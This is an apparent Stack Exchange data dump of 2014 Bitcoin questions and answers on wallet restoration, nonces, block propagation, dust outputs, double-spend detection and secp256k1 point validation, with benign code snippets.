  <row Id="32615" PostTypeId="2" ParentId="32612" CreationDate="2014-11-19T13:56:16.050" Score="2" Body="&lt;p&gt;To restore a backed up wallet.dat file, you need to replace it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just overwrite the one in your data directory (see &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt; to find it for your platform).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opening the file with Bitcoin-Qt means you're trying to process a payment request; it's not for opening a wallet.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-11-19T13:56:16.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32616" PostTypeId="2" ParentId="32613" CreationDate="2014-11-19T13:56:16.707" Score="8" Body="&lt;p&gt;The correct format is &lt;code&gt;bitcoin:&amp;lt;address&amp;gt;&lt;/code&gt; as defined in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0021.mediawiki&quot;&gt;BIP21&lt;/a&gt; and extended in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0072.mediawiki&quot;&gt;BIP72&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format with the slashes is mimicry of the HTTP URL format.  Tim Berners-Lee has &lt;a href=&quot;http://news.bbc.co.uk/2/hi/technology/8306631.stm&quot;&gt;apologized&lt;/a&gt; for inflicting those extra slashes on the world. :-)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-19T13:56:16.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32617" PostTypeId="2" ParentId="32603" CreationDate="2014-11-19T14:03:06.723" Score="6" Body="&lt;p&gt;From the protocol rules, there is no such thing as an extra nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only a 32-bit nonce in the block header (which can be iterated over very quickly), and up to 100 arbitrary bytes in the coinbase input. The block generation code inside the reference client has traditionally put an 'extra nonce' in those arbitrary bytes, but the contents can be anything.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-11-19T14:03:06.723" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32618" PostTypeId="2" ParentId="32603" CreationDate="2014-11-19T14:25:32.517" Score="4" Body="&lt;p&gt;My guess: It seems clear that Satoshi didn't expect pooled mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a world without pooled mining, you'd simply have each piece of mining hardware capable of up to 4 gigahashes per second (GH/s) use its own public key, guaranteeing that it produced a unique coinbase transaction output.  The time field can be updated every second, so the nonce can be reset to 0 whenever time is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a world with pooled mining, multiple people are all creating identical coinbase transaction outputs (paying whoever the pool operator says to pay) and they're collectively hashing at much faster than 4 GH/s, exhausting the nonce range before the time is supposed to be updated.  This makes the extra nonce required to avoid having multiple miners check the same header hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why did Satoshi create the extra nonce in the first place?  It looks like it was an easy way to see how many hashes the miner has used since being started.  If you look at the coinbase from block 1 (the first block after the genesis block), you see it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 04 ......... Push 4 bytes to stack&#xA; ffff011d ... The same as the nBits field&#xA; 01 ......... Push 1 byte to the stack&#xA; 04 ......... Number of times nonce was reset so far: 4  &amp;lt;= 20 GH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By block 10 it's 0x36 (54 &amp;lt;= 220 GH).  In short, the original extra nonce may just be an extra debugging tool.  You can use nBits and the extra nonce to calculate how many blocks on average the miner should've produced, and if that's very different from how many blocks it did produce, you might have a problem.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-19T14:25:32.517" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32619" PostTypeId="1" CreationDate="2014-11-19T15:07:27.227" Score="2" ViewCount="222" Body="&lt;p&gt;I am running a full node on the Bitcoin network. Sometimes, I find that it takes a while until I get the newest block.&lt;br&gt;&#xA;I checked the source code, and found that every node can at most connect to eight peers. Would it help to increase the number of connections, to reduce the time until I receive the newest block?&lt;/p&gt;&#xA;" OwnerUserId="21175" LastEditorUserId="5406" LastEditDate="2014-11-19T16:01:21.153" LastActivityDate="2014-11-19T16:54:17.247" Title="How can I reduce the time until I get the newest block ? Does the number of the outbound peers affect the speed?" Tags="|protocol|network|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32620" PostTypeId="2" ParentId="28314" CreationDate="2014-11-19T15:45:02.827" Score="1" Body="&lt;p&gt;Check the medium fee of last n blocks? I believe the transaction fee is currently not very variable. The reference implementation &quot;ensures&quot; that all transactions that are smaller than 1000 bytes, have all outputs over 0,01 BTC and have a large enough priority will be processed, regardless of the transaction fee. Otherwise 0.1 mBTC is paid for every 1000 bytes of transaction (rounded up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The priority of a transaction can be calculated by &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;[1]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;priority = sum(input_value_in_base_units * input_age) / size_in_bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-11-19T15:45:02.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32621" PostTypeId="2" ParentId="32619" CreationDate="2014-11-19T16:36:54.137" Score="2" Body="&lt;p&gt;Up until the latest release (v0.9.3), more peers actually means slower synchronization typically, because we only really fetched from a single peer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upcoming release (v0.10.0) has a completely rewritten block fetching/validation mechanism, which first validates headers, and then fetches the blocks from all peers in parallel. The result should be much faster synchronization.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-11-19T16:36:54.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32622" PostTypeId="2" ParentId="32619" CreationDate="2014-11-19T16:54:17.247" Score="2" Body="&lt;p&gt;Yes, more peers may reduce the time it takes for you to receive the most recently mined block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a new block is mined, the miner (or the pool) sends an &lt;a href=&quot;https://bitcoin.org/en/developer-reference#inv&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;inv&lt;/code&gt; message&lt;/a&gt; to all of its peers announcing the new block.  Those peers all send a &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getdata&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getdata&lt;/code&gt; message&lt;/a&gt; to the miner requesting the block.  The miner replies with a &lt;a href=&quot;https://bitcoin.org/en/developer-reference#block&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;block&lt;/code&gt; message&lt;/a&gt; sending the block to each of the peers which requested it.  (This part can be optimized to not send an entire block.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the peers each validate the block.  Once validated, they send an &lt;code&gt;inv&lt;/code&gt; message to all of their peers announcing the new block.  Any of those peers which haven't received the block yet send a &lt;code&gt;getdata&lt;/code&gt; message requesting the block.  The &lt;code&gt;block&lt;/code&gt; message follows, and the cycle repeats until all peers on the network have the block.  (Or, in the case of SPV clients, just the parts of the block they need.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more peers you have, the greater the chance you'll be connected to the miner when he makes his initial announcement with an &lt;code&gt;inv&lt;/code&gt; message, allowing you to be one of the first to request the block with the &lt;code&gt;getdata&lt;/code&gt; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the peer you send the &lt;code&gt;getdata&lt;/code&gt; message to is bogged down in data transfer, it may take you longer to finish downloading the block than if you had started downloading from a different peer, so having more connections isn't a guarantee that you'll be able to download recently-mined blocks faster.  In short, there's an element of luck involved.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-19T16:54:17.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32623" PostTypeId="1" AcceptedAnswerId="32624" CreationDate="2014-11-19T17:43:37.707" Score="1" ViewCount="323" Body="&lt;p&gt;I have created a raw transaction with the following hexstring which decodes to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   &quot;lock_time&quot;:0,&#xA;   &quot;size&quot;:248,&#xA;   &quot;inputs&quot;:[&#xA;      {&#xA;         &quot;prev_out&quot;:{&#xA;            &quot;index&quot;:1,&#xA;            &quot;hash&quot;:&quot;2fb04bcfcc164fbb9d5ad740c891e2599d904920386ab4e7f39bc1c87431218e&quot;&#xA;         },&#xA;         &quot;script&quot;:&quot;483045022100c727a635fbd5e689888e60a10c6ce45855abb7ceeb2235004d815edae2555abb022059839448cdd52733280b6fdde09ee87b06ba090357e50fea178d8fe41d811ba9012103f515b50b5e7693b4d8fe3d5d25346f989b42ab43f65a0106808f844deff55f08&quot;&#xA;      }&#xA;   ],&#xA;   &quot;version&quot;:1,&#xA;   &quot;vin_sz&quot;:1,&#xA;   &quot;hash&quot;:&quot;096328dc269ea7a060eb1c16ce8629cf81a5cff5766eb3f2ec97d81344854327&quot;,&#xA;   &quot;vout_sz&quot;:3,&#xA;   &quot;out&quot;:[&#xA;      {&#xA;         &quot;script_string&quot;:&quot;OP_DUP OP_HASH160 98ac2448db3e1a08cce87052513280cb20bafbf5 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;         &quot;address&quot;:&quot;1EvFvmzhiFWhaRfvvZupxxQvTMHJ79GGdb&quot;,&#xA;         &quot;value&quot;:1,&#xA;         &quot;script&quot;:&quot;76a91498ac2448db3e1a08cce87052513280cb20bafbf588ac&quot;&#xA;      },&#xA;      {&#xA;         &quot;script_string&quot;:&quot;OP_DUP OP_HASH160 f3223f468b6b81b4104b5b880d23b246c9c76711 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;         &quot;address&quot;:&quot;1PAaE9hEh1RNpoGuSJ6fw6wajziLptJSVv&quot;,&#xA;         &quot;value&quot;:99998,&#xA;         &quot;script&quot;:&quot;76a914f3223f468b6b81b4104b5b880d23b246c9c7671188ac&quot;&#xA;      },&#xA;      {&#xA;         &quot;script_string&quot;:&quot;OP_RETURN 68656c6c6f20776f726c64&quot;,&#xA;         &quot;value&quot;:0,&#xA;         &quot;script&quot;:&quot;6a0b68656c6c6f20776f726c64&quot;&#xA;      }&#xA;   ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I enter the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind sendrawtransaction &amp;lt;hex-string&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-26,&quot;message&quot;:&quot;64: dust&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will this be anything to with standard transactions? I am currently using 0.9.3 branch of the bitcoin client.&lt;/p&gt;&#xA;" OwnerUserId="21183" LastEditorUserId="2306" LastEditDate="2014-11-19T17:49:21.103" LastActivityDate="2014-11-19T17:50:15.447" Title="OP_RETURN with bitcoind not working" Tags="|transactions|dust|non-standard-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32624" PostTypeId="2" ParentId="32623" CreationDate="2014-11-19T17:50:15.447" Score="1" Body="&lt;p&gt;The issue is this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {&#xA;     &quot;script_string&quot;:&quot;OP_DUP OP_HASH160 98ac2448db3e1a08cce87052513280cb20bafbf5 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;     &quot;address&quot;:&quot;1EvFvmzhiFWhaRfvvZupxxQvTMHJ79GGdb&quot;,&#xA;     &quot;value&quot;:1,&#xA;     &quot;script&quot;:&quot;76a91498ac2448db3e1a08cce87052513280cb20bafbf588ac&quot;&#xA;  },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;code&gt;&quot;value&quot;:1&lt;/code&gt;? That means that the output is worth 1 satoshi. It's worthless, because it would cost more to spend this than it's worth. See &lt;a href=&quot;https://bitcoin.stackexchange.com/a/14255/2306&quot;&gt;this answer&lt;/a&gt; for more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this, remove that output.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-11-19T17:50:15.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32625" PostTypeId="2" ParentId="32310" CreationDate="2014-11-19T18:22:33.360" Score="-1" Body="&lt;p&gt;You could try this site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://silentvault.com/tiki-index.php?page=SBC&quot; rel=&quot;nofollow&quot;&gt;http://silentvault.com/tiki-index.php?page=SBC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like a good option. They're geared toward privacy. Simple mixing of coins is free. They're also based in Panama, which will make it more difficult for anyone from elsewhere to access their records.&lt;/p&gt;&#xA;" OwnerUserId="21202" LastActivityDate="2014-11-19T18:22:33.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32626" PostTypeId="1" CreationDate="2014-11-19T20:12:46.040" Score="5" ViewCount="2597" Body="&lt;p&gt;Starting with Auroracoin, a lot of coins aimed to perform &lt;a href=&quot;http://auroracoin.org/airdrop.php&quot; rel=&quot;noreferrer&quot;&gt;an &quot;airdrop&quot;&lt;/a&gt; and distribute their coins to certain groups of people. I am wondering, have there been any successful airdrops? If so, how did they accomplish this task? I was trying to follow these at some point, but I have never heard of any coin pulling it off.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2018-11-18T19:10:01.873" Title="Have there been any successful &quot;airdrops&quot;?" Tags="|altcoin|wealth-distribution|auroracoin|airdrop|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32627" PostTypeId="2" ParentId="32586" CreationDate="2014-11-19T22:22:48.700" Score="1" Body="&lt;p&gt;There was an article a while ago, probably CoinDesk but I can't find it at the moment. Basically the study concluded that Bitcoin never sleeps. Overall trading volume doesn't correlate with open/close times in any particular timezones. If volume doesn't change with the time of day I don't think the price will either.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-19T22:22:48.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32628" PostTypeId="1" AcceptedAnswerId="32695" CreationDate="2014-11-20T04:36:43.433" Score="31" ViewCount="25459" Body="&lt;p&gt;I am looking, specifically, for a step by step example transaction of sending Bitcoin which uses an &lt;em&gt;actual transaction&lt;/em&gt; (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;How To Redeem A Basic Txn&lt;/a&gt;, from a few years back, does a great job of outlining most steps of sending a raw txn but &lt;a href=&quot;http://blockexplorer.com/tx/f2b3eb2deb76566e7324307cd47c35eeb88413f971d88519859b1834307ecfec&quot; rel=&quot;noreferrer&quot;&gt;does not use a real TxID&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have played around with both the Python pybitcointools library, the &lt;a href=&quot;http://sx.dyne.org&quot; rel=&quot;noreferrer&quot;&gt;SX library&lt;/a&gt; and JSON output from the Bitcoin Core client (Bitcoin-QT, Bitcoin-cli, Bitcoin daemon) but have yet to find an actual step by step guide using raw transaction output (single input / single output Bitcoin txn, ie not multisig). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully the bounty will bring a step by step example transaction (with private keys for the sending address) will bring an answer showing how it's done and, specifically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how the ScriptPubKey element fits into the raw txn &lt;/li&gt;&#xA;&lt;li&gt;how the ScriptSig element fits into the raw txn&lt;/li&gt;&#xA;&lt;li&gt;how the txn is signed (with DER encoding).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT: I think the best resource is &lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;noreferrer&quot;&gt;Ken Shirriff's &lt;em&gt;Bitcoins the hard way: Using the raw Bitcoin protocol&lt;/em&gt;&lt;/a&gt;, but again, there's no single source online that answers my question without skimming past areas like scriptPubKey, signing etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I activate the bounty, if you can answer this &lt;a href=&quot;https://bchain.info/BTC/tx/96534da2f213367a6d589f18d7d6d1689748cd911f8c33a9aee754a80de166be&quot; rel=&quot;noreferrer&quot;&gt;refer to this Tx&lt;/a&gt; as it can serve as the actual example (ie I'll provide ~$1 in BTC and private keys for 1From/1MBngSqZbMydscpzSoehjP8kznMaHAzh9y if interested)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: &lt;a href=&quot;http://www.royalforkblog.com/2014/11/20/txn-demo/?#the-ins-and-outs-of-transactions&quot; rel=&quot;noreferrer&quot;&gt;The RoyalFork Blog: Deconstructing Txns&lt;/a&gt; provides an unbelievably good reference for &lt;strong&gt;interactive&lt;/strong&gt; Txn creation&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2017-02-19T21:37:43.760" Title="Redeeming a raw transaction step by step example required" Tags="|transactions|raw-transaction|raw-data|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32629" PostTypeId="1" CreationDate="2014-11-20T04:57:12.213" Score="4" ViewCount="5296" Body="&lt;p&gt;I've only heard PHP is terrible (e.g. in the context of Mt. Gox) and a more efficient/more security-oriented language would be preferable for matching orders and account security. Which programming language, and due to what reasons, would be better?&lt;/p&gt;&#xA;" OwnerUserId="21209" LastEditorUserId="5406" LastEditDate="2014-11-23T13:22:53.160" LastActivityDate="2022-12-01T12:56:48.043" Title="What programming language should be used to develop Bitcoin exchange software? Why?" Tags="|exchanges|development|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32630" PostTypeId="2" ParentId="32603" CreationDate="2014-11-20T06:29:52.720" Score="9" Body="&lt;p&gt;There were many good answers to this question. After reading through them, I'm going to take a stab at the answer as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coinbase field of the coinbase transaction (as it is called) is really just a scriptSig which doesn't have to pass any validation about its contents (except that it is less than 100 bytes, and the newer BIP34 requirements). Satoshi knew you could put arbitrary contents in here, and so he put a timely news headline in the genesis block's scriptSig: &quot;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&quot;. A message like this also helps confirm that no pre-mining was done, as the message could not have been put into the block before the date that the article was published. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that Satoshi thought that a 32 bit nonce-space was overkill. A standard computer, like the one I am writing this on, can get about 3 MH/s, which is about 0.07% of the way through a single nonce-range before you can increment nTime and get a whole new range of nonces. That's not to say that Satoshi thought that there would only ever be single computer CPUs mining (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=532.msg6306#msg6306&quot; rel=&quot;noreferrer&quot;&gt;this post&lt;/a&gt; shows he didn't), but I bet he thought that each miner would have it's own address in this case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think Satoshi envisioned pools happening, especially in the fairly centralized way that they exist today, and the flexibility of the coinbase field was just utilized by mining pools (as somewhat of a hack) when hash power became large enough to go through more than a single nonce-range per second.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-11-20T06:29:52.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32631" PostTypeId="1" CreationDate="2014-11-20T06:38:43.753" Score="1" ViewCount="691" Body="&lt;p&gt;I am looking for per-second (or any time interval less than one day) bitcoin data for bitcoin price and volume on any given exchange. Do you know where I can find this sort of data? Have found Coinbase's price data for every 10 minutes which is good, but can't find any associated volume data.&lt;/p&gt;&#xA;" OwnerUserId="21210" LastActivityDate="2014-11-20T06:48:15.750" Title="Where can I find per-second bitcoin price &amp; volume data?" Tags="|raw-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32632" PostTypeId="2" ParentId="32631" CreationDate="2014-11-20T06:48:15.750" Score="1" Body="&lt;p&gt;Your best bet is probably to utilise the various exchange APIs to log the data in your own database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: I don't think Coinbase provide volume info publicly. &lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-20T06:48:15.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32634" PostTypeId="1" CreationDate="2014-11-20T10:47:39.887" Score="3" ViewCount="3725" Body="&lt;p&gt;The ECDSA algorithm, secp256k1 for Bitcoin allegedly uses the equation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;y ^ 2 = x ^ 3 + 7 mod P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to determine the validity of an alleged point upon the elliptical curve.  Utilizing &#xA;&lt;a href=&quot;http://web2.0calc.com/&quot; rel=&quot;nofollow&quot;&gt;http://web2.0calc.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When verifying public key 1 which has the following qualities:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x = 55066263022277343669578718895168534326250603453777594175500187360389116729240&lt;/p&gt;&#xA;&#xA;&lt;p&gt;y = 32670510020758816978083085130507043184471273380659243275938904335757337482424&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I applied x ^ 3, then added 7, then mod P on that webpage.  Then I square rooted it and got&lt;/p&gt;&#xA;&#xA;&lt;p&gt;180964706334543048141953325634608696715.426683454595872&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is not y.  How am I doing this wrong?  My results suggests that this point is not a valid point on the curve, but everyone knows it is.  Obviously I'm the one who's wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  I'd like to further clarify the question.  My question is, how does one actually determine (as an example) the Y value while only having the X value.  Bitcoin does it, the &quot;Bitcoin Address Utility&quot; also does it.  When someone has a compressed key (which only contains the x coordinate) they are able to get the y coordinate as well.  Utilizing the aforementioned webpage calculator does not work and others are saying its &quot;modular root&quot;.  Anyone have Python 2.7.7 code which would do this or have a relatively simple way of explaining how to accomplish this whole thing?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15552" LastEditorUserId="15552" LastEditDate="2014-11-20T20:27:24.440" LastActivityDate="2021-11-05T05:23:09.340" Title="ECDSA x,y coordinate validity verification doesn't seem to work" Tags="|security|address|ecdsa|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32635" PostTypeId="1" CreationDate="2014-11-20T12:27:57.880" Score="3" ViewCount="351" Body="&lt;p&gt;How can I be positive that one of the incoming payments to my bitcoin-core was double-spent after it was confirmed once by the network, through the JSON-RPC interface?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13370/how-do-i-detect-a-double-spend&quot;&gt;How do I detect a double-spend?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/30750/accepting-0-confirmation-transactions-and-detecting-double-spends-with-open-sour&quot;&gt;Accepting 0-confirmation transactions and detecting double-spends with open source solution&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=327767.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=327767.0&lt;/a&gt; (GHash.IO and double-spending against BetCoin Dice)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-11-20T13:36:04.667" Title="JSON-RPC to detect double-spent TXs" Tags="|json-rpc|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32636" PostTypeId="2" ParentId="32635" CreationDate="2014-11-20T13:36:04.667" Score="2" Body="&lt;p&gt;If your node received the original spend, the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#listunspent&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;listunspent&lt;/code&gt; RPC&lt;/a&gt; will display the transaction with &quot;-1&quot; confirmations, as will any other RPCs that would normally list the transaction.  The source code &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/b7fe9cd04cd2756b1ce40b668d25a130441ba847/src/wallet.h#L539&quot; rel=&quot;nofollow&quot;&gt;calls this conflicted:&lt;/a&gt; &quot;not in the mempool and not in the block chain.&quot;  This feature was first included in &lt;a href=&quot;https://bitcoin.org/en/release/v0.9.0&quot; rel=&quot;nofollow&quot;&gt;0.9.0&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your node never received the original spend (perhaps because it was offline at the time) or the now-stale block that contained it, it doesn't have any way to know about that original spend, so there's no information you can get from an RPC.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-20T13:36:04.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32637" PostTypeId="2" ParentId="32634" CreationDate="2014-11-20T14:19:57.770" Score="7" Body="&lt;p&gt;The plain text format of this equation only makes sense when you understand the theory behind it.  &lt;code&gt;y ^ 2 = x ^ 3 + 7 mod P&lt;/code&gt; means &quot;do all math in this equation using the finite number field with definition P&quot;.  It might better be written &lt;code&gt;(y^2 = x^3 +7) mod p&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep the math simple, lets simply subtract one side from the other to see if that evaluates to zero.  This lets us avoid roots. Here's code using the Python interactive shell, e.g. &lt;code&gt;python&lt;/code&gt; from a command prompt):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; x = 55066263022277343669578718895168534326250603453777594175500187360389116729240&#xA;&amp;gt;&amp;gt;&amp;gt; y = 32670510020758816978083085130507043184471273380659243275938904335757337482424&#xA;&amp;gt;&amp;gt;&amp;gt; p = 115792089237316195423570985008687907853269984665640564039457584007908834671663&#xA;&amp;gt;&amp;gt;&amp;gt; (x**3 + 7 - y**2) % p&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-20T14:19:57.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32638" PostTypeId="1" AcceptedAnswerId="32648" CreationDate="2014-11-20T16:19:53.127" Score="1" ViewCount="519" Body="&lt;p&gt;I was investing bitcoins in Coin Controller but I need the time to send it because they only give you 10 minutes. So I want to know how to calculate the time to send bitcoin with for an example 0.00005 transaction fee. I know that you can't calculate it but do you know how long it would take if I send 0.00015 and the transaction fee is 0.00005 (the half of a normal transaction fee).&lt;/p&gt;&#xA;" OwnerUserId="21216" LastEditorDisplayName="user11221" LastEditDate="2014-11-20T19:00:25.417" LastActivityDate="2014-11-20T20:26:01.717" Title="Time to send bitcoins?" Tags="|transactions|transaction-fees|confirmations|sending|investing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32639" PostTypeId="1" AcceptedAnswerId="32642" CreationDate="2014-11-20T16:37:14.777" Score="9" ViewCount="4323" Body="&lt;p&gt;Looking at the v0.9.3 source in miner.cpp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CBlockTemplate* CreateNewBlockWithKey(CReserveKey&amp;amp; reservekey)&#xA;{&#xA;    CPubKey pubkey;&#xA;    if (!reservekey.GetReservedKey(pubkey))&#xA;        return NULL;&#xA;&#xA;    CScript scriptPubKey = CScript() &amp;lt;&amp;lt; pubkey &amp;lt;&amp;lt; OP_CHECKSIG;&#xA;    return CreateNewBlock(scriptPubKey);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default &lt;code&gt;scriptPubKey&lt;/code&gt; is a pay-to-pubkey? Does it need to be preserved for compatibility? I'm just surprised that it's not using pay-to-pubkey-hash.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2016-10-24T19:58:16.817" LastActivityDate="2019-01-02T05:12:17.270" Title="Why does the default miner implementation use pay-to-pubkey?" Tags="|script|bitcoin-core-development|coinbase-transaction|p2pk|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
